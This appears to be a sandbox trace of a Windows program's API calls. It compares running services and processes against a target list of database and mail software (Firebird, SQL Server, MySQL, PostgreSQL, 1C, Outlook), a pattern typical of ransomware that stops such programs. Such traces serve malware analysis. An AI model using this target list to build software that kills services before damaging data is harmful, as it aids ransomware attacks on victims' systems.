	[0039.878] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0039.878] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0039.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0039.878] lstrlenW (lpString="BFE") returned 3
	[0039.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0039.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0039.878] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0039.878] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0039.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0039.878] lstrlenW (lpString="CryptSvc") returned 8
	[0039.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0039.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0039.878] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0039.878] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0039.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0039.878] lstrlenW (lpString="CscService") returned 10
	[0039.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0039.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0039.878] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0039.878] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0039.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0039.878] lstrlenW (lpString="DcomLaunch") returned 10
	[0039.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0039.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0039.878] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0039.878] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0039.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0039.879] lstrlenW (lpString="Dhcp") returned 4
	[0039.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0039.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0039.879] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0039.879] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0039.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0039.879] lstrlenW (lpString="Dnscache") returned 8
	[0039.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0039.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0039.879] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0039.879] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0039.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0039.879] lstrlenW (lpString="DPS") returned 3
	[0039.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0039.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0039.879] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0039.879] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0039.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0039.879] lstrlenW (lpString="eventlog") returned 8
	[0039.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0039.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0039.879] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0039.879] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0039.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0039.879] lstrlenW (lpString="EventSystem") returned 11
	[0039.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0039.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0039.879] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0039.879] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0039.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0039.880] lstrlenW (lpString="gpsvc") returned 5
	[0039.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0039.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0039.880] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0039.880] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0039.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0039.880] lstrlenW (lpString="iphlpsvc") returned 8
	[0039.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0039.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0039.880] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0039.880] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0039.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0039.880] lstrlenW (lpString="LanmanServer") returned 12
	[0039.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0039.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0039.880] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0039.880] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0039.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0039.880] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0039.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0039.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0039.880] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0039.880] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0039.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0039.880] lstrlenW (lpString="lmhosts") returned 7
	[0039.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0039.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0039.880] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0039.880] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0039.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0039.881] lstrlenW (lpString="MMCSS") returned 5
	[0039.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0039.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0039.881] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0039.881] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0039.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0039.881] lstrlenW (lpString="MpsSvc") returned 6
	[0039.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0039.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0039.881] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0039.881] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0039.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0039.881] lstrlenW (lpString="Netman") returned 6
	[0039.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0039.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0039.881] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0039.881] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0039.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0039.881] lstrlenW (lpString="netprofm") returned 8
	[0039.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0039.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0039.881] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0039.881] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0039.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0039.881] lstrlenW (lpString="NlaSvc") returned 6
	[0039.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0039.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0039.881] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0039.881] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0039.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0039.881] lstrlenW (lpString="nsi") returned 3
	[0039.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0039.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0039.882] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0039.882] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0039.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0039.882] lstrlenW (lpString="PcaSvc") returned 6
	[0039.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0039.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0039.882] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0039.882] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0039.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0039.882] lstrlenW (lpString="PlugPlay") returned 8
	[0039.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0039.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0039.882] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0039.882] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0039.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0039.882] lstrlenW (lpString="Power") returned 5
	[0039.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0039.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0039.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0039.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0039.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0039.882] lstrlenW (lpString="ProfSvc") returned 7
	[0039.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0039.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0039.882] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0039.882] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0039.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0039.882] lstrlenW (lpString="RpcEptMapper") returned 12
	[0039.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0039.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0039.883] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0039.883] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0039.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0039.883] lstrlenW (lpString="RpcSs") returned 5
	[0039.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0039.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0039.883] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0039.883] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0039.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0039.883] lstrlenW (lpString="SamSs") returned 5
	[0039.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0039.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0039.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0039.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0039.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0039.883] lstrlenW (lpString="Schedule") returned 8
	[0039.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0039.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0039.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0039.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0039.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0039.883] lstrlenW (lpString="SENS") returned 4
	[0039.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0039.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0039.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0039.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0039.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0039.883] lstrlenW (lpString="ShellHWDetection") returned 16
	[0039.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0039.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0039.884] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0039.884] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0039.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0039.884] lstrlenW (lpString="Spooler") returned 7
	[0039.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0039.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0039.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0039.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0039.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0039.884] lstrlenW (lpString="SysMain") returned 7
	[0039.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0039.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0039.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0039.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0039.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0039.884] lstrlenW (lpString="Themes") returned 6
	[0039.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0039.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0039.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0039.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0039.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0039.884] lstrlenW (lpString="TrkWks") returned 6
	[0039.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0039.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0039.884] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0039.884] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0039.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0039.884] lstrlenW (lpString="UxSms") returned 5
	[0039.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0039.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0039.885] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0039.885] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0039.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0039.885] lstrlenW (lpString="VSS") returned 3
	[0039.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0039.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0039.885] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0039.885] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0039.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0039.885] lstrlenW (lpString="WdiServiceHost") returned 14
	[0039.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0039.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0039.885] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0039.885] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0039.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0039.885] lstrlenW (lpString="WdiSystemHost") returned 13
	[0039.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0039.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0039.885] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0039.885] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0039.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0039.885] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0039.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0039.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0039.885] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0039.885] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0039.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0039.885] lstrlenW (lpString="Winmgmt") returned 7
	[0039.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0039.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0039.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0039.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0039.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0039.886] lstrlenW (lpString="WPDBusEnum") returned 10
	[0039.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0039.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0039.886] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0039.886] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0039.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0039.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56b4b0 | out: hHeap=0x4f0000) returned 1
	[0039.886] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190
	[0039.892] Process32FirstW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0039.892] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0039.893] lstrlenW (lpString="System") returned 6
	[0039.893] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0039.893] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0039.893] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0039.893] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0039.893] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0039.893] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0039.893] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0039.893] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0039.894] lstrlenW (lpString="smss.exe") returned 8
	[0039.894] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0039.894] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0039.894] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0039.894] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0039.894] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0039.894] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0039.894] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0039.894] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0039.895] lstrlenW (lpString="csrss.exe") returned 9
	[0039.895] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0039.895] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0039.895] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0039.895] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0039.895] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0039.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0039.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0039.895] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0039.896] lstrlenW (lpString="wininit.exe") returned 11
	[0039.896] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0039.896] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0039.896] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0039.896] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0039.896] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0039.896] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0039.896] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0039.896] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0039.897] lstrlenW (lpString="csrss.exe") returned 9
	[0039.897] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0039.897] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0039.898] lstrlenW (lpString="winlogon.exe") returned 12
	[0039.898] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0039.899] lstrlenW (lpString="services.exe") returned 12
	[0039.899] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0039.899] lstrlenW (lpString="lsass.exe") returned 9
	[0039.899] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0039.900] lstrlenW (lpString="lsm.exe") returned 7
	[0039.900] Process32NextW (in: hSnapshot=0x190, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.901] lstrlenW (lpString="svchost.exe") returned 11
